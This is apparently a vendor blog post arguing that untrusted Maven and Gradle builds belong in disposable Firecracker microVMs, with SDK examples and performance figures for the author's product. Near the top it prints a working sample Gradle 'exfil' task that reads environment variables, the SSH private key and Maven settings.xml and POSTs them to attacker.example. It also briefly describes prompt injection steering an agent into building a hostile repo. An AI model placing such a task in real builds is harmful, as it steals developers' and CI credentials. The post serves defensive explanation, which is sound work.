all posts

Sandboxing an untrusted Java/Maven (and Gradle) build

Ajay Kumar··9 min read

You check out a Java repo — a dependency an agent picked, a pull request from a stranger, a sample project off the internet — and you run `mvn install` or `gradle build`. It feels like a compile step. It isn't. A Maven build resolves and executes plugins; a Gradle build script is literally arbitrary Groovy or Kotlin that runs on your machine before a single class is compiled. Annotation processors run as code during compilation. Every downloaded dependency and plugin executes with your user, your environment, your network, and your credentials. `build.gradle` is a Turing-complete program you're asking to run as you — and `pom.xml` is a shell it hangs plugin code off. This post is about that gap, and the microVM pattern that lets you build anything without betting your host on it.

I'm Ajay — I built PandaStack, a Firecracker microVM platform for exactly this kind of untrusted execution. I'll be concrete about the threat and honest about where offline mode and dependency pinning help versus where you actually need an isolation boundary.

A Java build is arbitrary code execution, not compilation

The mental model that gets people hurt is "the build downloads jars and compiles my code." Both build tools run third-party code long before, and instead of, your code. Maven's whole model is plugins bound to lifecycle phases — a `pom.xml` can attach any plugin to `validate`, `initialize`, `compile`, or `install`, and Maven downloads and executes it as part of the build. Gradle goes further: the build script isn't a config file, it's a program in a full JVM language with unrestricted access to the filesystem, the network, and `Runtime.exec`. There is nothing to review before it runs, because the malicious behavior is the build.

// build.gradle — this is a program, not a manifest.
// It runs, as you, the moment you type `gradle build`.
plugins { id 'java' }

// A "task" is just code. Nothing stops it reading your secrets
// and phoning home before your classes ever compile.
task exfil {
    doFirst {
        def home = System.getProperty('user.home')
        def loot = [
            env : System.getenv(),
            ssh : new File("$home/.ssh/id_rsa").exists()
                    ? new File("$home/.ssh/id_rsa").text : '',
            m2  : new File("$home/.m2/settings.xml").exists()
                    ? new File("$home/.m2/settings.xml").text : ''
        ]
        // Or: "rm -rf ~", or a coinminer, or a reverse shell.
        new URL('https://attacker.example/collect').openConnection().with {
            doOutput = true; requestMethod = 'POST'
            outputStream.withWriter { it << groovy.json.JsonOutput.toJson(loot) }
            inputStream.text
        }
    }
}
compileJava.dependsOn exfil

That's the whole attack, and it isn't exotic. The build script slurps every environment variable (where your CI secrets, cloud tokens, and registry passwords live), reads your SSH private key and your Maven `settings.xml` (which often holds repository credentials), and POSTs the lot to a server the author controls — all before your first class compiles. The Maven equivalent is a plugin bound to an early phase, or a malicious annotation processor pulled in as a dependency and run by `javac`. The xz backdoor and a steady drip of typosquatted and compromised packages across ecosystems make this a present-tense threat, not a hypothetical one.

  • Gradle build scripts — build.gradle / build.gradle.kts are full programs (Groovy/Kotlin) with unrestricted JVM access. They can read files, shell out, and open sockets the moment you invoke a build.
  • Maven plugins — a pom.xml binds plugins to lifecycle phases; Maven downloads and executes them. A hostile plugin (or a compromised legit one) runs its code during your build.
  • Annotation processors — pulled in as ordinary dependencies and executed by javac at compile time. Arbitrary code, triggered by compilation itself.
  • Transitive reach — you audited your one dependency; its transitive graph of jars and plugins each also gets to run build-time or compile-time code, and any one is enough.
"gradle build" and "mvn install" are functionally "run this repo's author's code as me, right now" — times every plugin, processor, and dependency in the graph. The compile framing lulls you; build-time execution is a designed feature, not a bug, and that's precisely the surface attackers use.

Offline mode and pinning help — they don't contain

The obvious hardening is to lock down what the build can fetch: run Maven with `-o` (offline) against a pre-populated `~/.m2`, or use a Gradle dependency-lock file with `--offline`, so the build can't reach out to a repository and pull a mutated or brand-new artifact mid-build. This is genuine defense-in-depth and you should do it — but it is not a security boundary for untrusted build logic, for two reasons.

First, pinning answers "are these the exact bytes I resolved before?" — it does not answer "should I run these bytes at all?" If the repo's own `build.gradle` is hostile, or the pinned plugin was malicious the day you pinned it, offline mode faithfully runs the hostile code from your local cache. A lockfile stops a silent swap; it does nothing about a build script that was adversarial from the start, which is exactly the case when the repo came from an agent or a stranger.

Second, offline mode only closes the network-fetch channel. The build script, the plugin, and the annotation processor still execute with your process's full privileges against your local machine. `-o` stops the build downloading a new jar; it does nothing to stop the code already in the graph from reading `~/.ssh/id_rsa` and trying to exfiltrate it — the exfil just needs one open outbound socket, and your build almost certainly has network. Offline mode narrows what arrives; it doesn't cage what runs.

Dependency pinning is a seatbelt, not a cage. It stops you silently pulling a mutated jar. It does not contain a build script you've decided to run — because running it is the whole point of a build.

Why an agent or a stranger's repo makes this sharply worse

A developer running `mvn install` on their own project reviewed the pom over months. An LLM agent that clones a repo to "build it and fix the failing test" runs whatever `build.gradle` is in that repo, sight unseen — and under prompt injection, a README, an issue, or a tool result an attacker controls can steer the agent toward cloning and building a specific hostile repo. The model obliges, the build runs, the payload fires.

CI is the same story with higher stakes. When your pipeline runs `mvn install` or `gradle build` on a contributor's pull request, the PR author chose the plugins and wrote the build script, and merging isn't required — the build on your runner already executed their code against your CI secrets. Java CI runners are frequently the exact machine that holds signing keys, deploy credentials, and registry passwords. You've turned a content channel or a PR into a code-execution channel, and the only thing between that and your host is whatever isolation wraps the build.

Why a shared-kernel container isn't enough

The next instinct is "run the build in a container." Better than your host, and fine for code you trust — but for genuinely untrusted build logic it's a soft boundary. A container shares the host kernel. The build's JVM, the forked `Runtime.exec` process, the annotation processor all run against that one shared kernel, and a kernel bug or a container-escape primitive puts them on the host and, in a multi-tenant setup, into other tenants. This is not theoretical enough to ignore: AWS, Google, and others moved untrusted workloads off plain containers onto microVMs or gVisor precisely because a shared kernel is a large, attackable surface. Verify the specifics against their current docs, but the direction is clear.

There's a second, more mundane failure that catches more people. CI build containers are usually built with exactly the things a build script should never see — registry passwords in `settings.xml`, cloud credentials and signing keys in the environment, the host's Docker socket bind-mounted in, cloud metadata at 169.254.169.254 reachable, an SSH agent forwarded. A malicious Gradle task doesn't need a kernel exploit to ruin your day if it can just read a token sitting right there in `System.getenv()`. The most common real-world leak is boring: ambient network plus an inherited secret, not an exotic escape.

The options, ranked for an untrusted build

Where you run an untrusted `mvn install` / `gradle build`, from least to most contained:

  • Build on the CI host / your dev machine — no boundary at all. Build scripts and plugins run as you, see every secret in the environment, read ~/.ssh, ~/.m2/settings.xml, and signing keys. Never do this with a repo you didn't write and trust.
  • Build in a container — real process isolation and good hygiene, but a shared host kernel and often ambient network plus inherited credentials (settings.xml, signing keys, Docker socket, metadata endpoint). Fine for trusted builds; a soft boundary for untrusted build logic.
  • Build in a per-build microVM — the build runs behind a hardware-virtualization boundary with its own guest kernel, no host secrets present, and egress you control. If the build is hostile, the blast radius is one VM you were going to delete anyway.
A Gradle lockfile or a pinned Maven dependency set with checksums is real defense-in-depth — it stops you silently pulling a mutated artifact for a coordinate you already resolved. But it does nothing when an agent or a PR hands you a brand-new hostile build script, and nothing about plugins and processors running. Integrity checking answers "are these the bytes I resolved?"; isolation answers "where do these bytes get to run?"

The pattern: build inside a disposable microVM

The durable shape has four properties: a hardware isolation boundary (a microVM with its own kernel, not a shared one), an ephemeral environment (fresh per build, destroyed after, so nothing persists forward), no host credentials in the guest, and controlled egress so a plugin or build script can't quietly exfiltrate. On PandaStack you get the first two by construction and enforce the rest per sandbox. Here's the invocation you'd run inside the guest — note the offline/no-daemon and timeout flags — and then the end-to-end loop with the Python SDK.

# Run INSIDE the disposable microVM, never on the host.

# Maven: offline against a pre-populated ~/.m2, no interactive prompts,
# JVM heap capped so a build can't balloon and OOM the guest.
export MAVEN_OPTS="-Xmx1536m"
mvn -o -B -ntp \
    -Dmaven.test.skip=false \
    clean install

# Gradle: offline, no long-lived daemon (each build is a fresh JVM in a
# fresh VM anyway), heap capped, wall-clock timeout as a hard backstop
# in case a build script spins forever or mines coins.
export GRADLE_OPTS="-Dorg.gradle.jvmargs=-Xmx1536m"
timeout 600 gradle --offline --no-daemon build

# Then copy just the artifact somewhere we'll read it back out.
mkdir -p /workspace/out
cp build/libs/*.jar /workspace/out/ 2>/dev/null || \
cp target/*.jar    /workspace/out/ 2>/dev/null || true
from pandastack import Sandbox

# An untrusted repo's build script — an agent cloned it, or it came in a PR.
# It may contain a hostile Gradle task or Maven plugin. We build it anyway.
build_gradle = """
plugins { id 'java' }
repositories { mavenCentral() }
// (imagine an exfil task here) — it runs contained, or not at all.
jar { archiveBaseName = 'untrusted-app' }
"""

settings_gradle = "rootProject.name = 'untrusted-app'"

# One disposable microVM for this build. ttl reaps it if we crash.
with Sandbox.create(template="base", ttl_seconds=900) as sbx:
    sbx.filesystem.write("/workspace/build.gradle", build_gradle)
    sbx.filesystem.write("/workspace/settings.gradle", settings_gradle)

    # The build runs THIRD-PARTY BUILD LOGIC (Gradle tasks, plugins,
    # annotation processors) right here, inside the guest kernel, with
    # no host secrets in the environment and egress locked down.
    r = sbx.exec(
        "cd /workspace && "
        "GRADLE_OPTS='-Dorg.gradle.jvmargs=-Xmx1536m' "
        "timeout 600 gradle --offline --no-daemon build",
        timeout_seconds=660,
    )
    if r.exit_code != 0:
        raise RuntimeError(f"build failed / blocked:\n{r.stderr}")

    # Pull ONLY the built jar back through the API, not a host mount.
    jar = sbx.filesystem.read("/workspace/build/libs/untrusted-app.jar")
    with open("untrusted-app.jar", "wb") as f:
        f.write(jar)
    print(f"pulled {len(jar)} bytes")
# VM and everything the build did to it are gone here.

If that build script had the exfil task from earlier, here's what it found when it ran: no `~/.ssh/id_rsa`, no `~/.m2/settings.xml` with repository auth, no signing keys or cloud credentials in `System.getenv()`, no metadata endpoint reachable, and egress restricted so the exfil POST never leaves. Whatever it wrote to the filesystem — including a dropped coinminer — dies when the `with` block exits. The worst case is a wasted sandbox, which is the whole point of making sandboxes cheap.

JVM heap, the daemon, and a wall-clock timeout

Java builds are memory-hungry in a way that shapes how you size the guest. A Gradle or Maven build spawns a JVM, and `javac`, Kotlin compilation, and heavy annotation processing can each push heap hard; the Gradle daemon and forked test JVMs add more. The guest's total RAM is the ceiling — if the heap plus the rest of the guest exceeds it, the guest's OOM killer fires and the build dies with a confusing error rather than a clean message.

  • Cap the JVM heap explicitly (-Xmx via MAVEN_OPTS / org.gradle.jvmargs) below the guest's RAM, leaving headroom for the OS, forked test JVMs, and file cache — don't let the build assume it owns all of memory.
  • Skip the Gradle daemon (--no-daemon) for one-shot untrusted builds: a fresh VM per build already gives you a clean JVM, and a lingering daemon is just a long-lived process holding memory and state you don't want across trust domains.
  • Always wrap the build in a wall-clock timeout (the `timeout` command and the SDK's timeout_seconds are belt-and-suspenders). A hostile build script can loop forever or mine coins; the timeout guarantees the VM is reaped even if the build never returns.
  • Size the guest for the biggest build you expect, not the average — an under-provisioned guest turns a legitimate large build into a mysterious OOM, and an over-provisioned one just costs a bit more per throwaway VM.

On PandaStack an app-style build runs on the `base` template, whose baked guest is 4 GiB / 2 vCPU precisely because Java and JS build steps OOM'd at smaller sizes. Because RAM is baked into the snapshot, you pick the size at bake time rather than per create — so provision the template for your heaviest build and let every disposable build VM inherit that headroom.

A warm ~/.m2 cache via CoW snapshot, without cross-build bleed

The tension in a per-build VM is speed: a cold `~/.m2` or `~/.gradle` means every build re-downloads its whole dependency graph, which for a large Java project is slow and, if you allow the fetch, reopens the network channel you were trying to close. The fix is a warm-cache snapshot. Bake or snapshot one sandbox that already has your common dependencies populated in `~/.m2` (and Gradle's cache), then restore a fresh copy per build via copy-on-write. Each build starts from the identical warm cache but writes into its own CoW layer, so one build's downloads — or one build's tampering with a cached jar — never bleed into the next.

That's the model that gives you cache speed and per-build isolation at once. On PandaStack every create restores a baked snapshot on demand — p50 179ms, p99 ~203ms, with the snapshot-restore step itself around 49ms (a true first cold boot, before any snapshot exists, is ~3s). Forking a configured, warm-cache sandbox is a same-host fork in 400–750ms (cross-host 1.2–3.5s), and it shares the cache's memory copy-on-write. Combined with offline mode (`-o` / `--offline`) reading from that warm cache, the build resolves everything locally at near-cache speed and never needs to open the network for dependencies at all — and there's plenty of address space to do this at scale, since each agent pre-allocates 16,384 /30 subnets, so per-VM network isolation isn't the bottleneck.

The warm cache is shared read-mostly state, so treat it as a trust boundary too: populate it only from dependencies you audited, and never let an untrusted build write back into the golden snapshot. CoW gives each build a private writable layer — keep it that way, and re-bake the cache from a clean, checksummed set rather than promoting a build's mutations into it.

Extracting the jar without trusting what built it

The point of the build was to produce something — a `.jar`, a `.war`, a shaded fat jar. The safe way to get it out is through the filesystem API, not a shared host mount, so the untrusted build never had a writable path into your host in the first place. Have the build write to a known output path, check the exit code, then `filesystem.read` exactly that artifact back on the host side. Read only the artifact you need — not the whole `target/` or `build/` tree — so you're pulling one inert file, not everything the build touched.

Treat the extracted jar with appropriate suspicion, too: it was produced by code you didn't trust, so it may embed anything. If you're going to run that artifact, run it in another sandbox, not on a box with secrets. The microVM contained the build; it doesn't launder the output into something trustworthy. What it buys you is that the dangerous step — resolving and executing arbitrary plugins, build scripts, and annotation processors — happened somewhere disposable, and only inert bytes crossed back to you.

When is none of this necessary? If you fully control the `pom.xml`/`build.gradle` and the lockfile, and none of it is agent- or contributor-influenced, a pinned, checksummed build in a normal environment is fine — don't spin up a VM to build a project you wrote and trust. The whole apparatus here is for the case that actually bites: a build that arrived at runtime, from a model or a stranger, possibly steered by an attacker. For that case, treat `mvn install` and `gradle build` as the hostile code execution they are, run them in a VM you're happy to throw away, and let the blast radius be a sandbox instead of your fleet.

Frequently asked questions

Does mvn install or gradle build actually run arbitrary code?

Yes. A Maven build downloads and executes plugins bound to lifecycle phases, and a Gradle build script (build.gradle / build.gradle.kts) is a full program in Groovy or Kotlin with unrestricted access to the filesystem, network, and process execution. Annotation processors run as code during compilation too. All of it executes as your user, with your environment and credentials, before your own classes compile. A hostile pom.xml or build script can read your SSH keys and settings.xml, drop a coinminer, or rm -rf — which is why isolating an untrusted build matters.

Doesn't offline mode (-o / --offline) with a pinned dependency set make the build safe?

No — it's good defense-in-depth but not a boundary. Offline mode and dependency locking answer "are these the exact artifacts I resolved before?", stopping a silent mid-build swap. They do nothing about a build script or plugin that was hostile from the start, which is the case when the repo came from an agent or a stranger: offline mode faithfully runs that hostile code from your local cache. And it only closes the fetch channel — the build logic still executes with your process's full privileges. Pinning narrows what arrives; it doesn't cage what runs.

Isn't a Docker container enough to sandbox an untrusted Java build?

For trusted builds, usually. For genuinely untrusted build logic it's a soft boundary: a container shares the host kernel, so a kernel bug or container escape can reach the host and other tenants, and CI build containers often carry ambient network plus inherited credentials (settings.xml, signing keys, a mounted Docker socket, cloud metadata) that a malicious Gradle task or Maven plugin can abuse. A hardware-isolated microVM with its own guest kernel, no host secrets, and controlled egress is the stronger backstop — verify the specifics against current docs, but that's why cloud providers moved untrusted workloads off plain containers.

How much memory does a Java build need in the sandbox?

Enough for the build's JVM heap plus forked test JVMs, the Gradle daemon (if used), and OS/file-cache headroom — Java compilation and annotation processing are memory-hungry, and if heap plus the rest exceeds the guest RAM the guest OOM killer fires. Cap the heap explicitly (-Xmx via MAVEN_OPTS or org.gradle.jvmargs) below the guest's total RAM, prefer --no-daemon for one-shot untrusted builds, and always wrap the build in a wall-clock timeout. On PandaStack the base template's baked guest is 4 GiB / 2 vCPU precisely because build steps OOM'd smaller; size the template for your heaviest build since RAM is fixed at bake time.

How do I get build caching without one build contaminating the next?

Use a warm-cache snapshot restored per build via copy-on-write. Bake or snapshot one sandbox with your audited dependencies already populated in ~/.m2 and the Gradle cache, then fork a fresh copy for each build — every build sees the identical warm cache but writes into its own CoW layer, so one build's downloads or tampering never bleed forward. On PandaStack a same-host fork is 400–750ms and shares the cache's memory copy-on-write, and running the build offline (-o / --offline) against that cache means it resolves everything locally at near-cache speed without opening the network. Never let an untrusted build write back into the golden snapshot.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.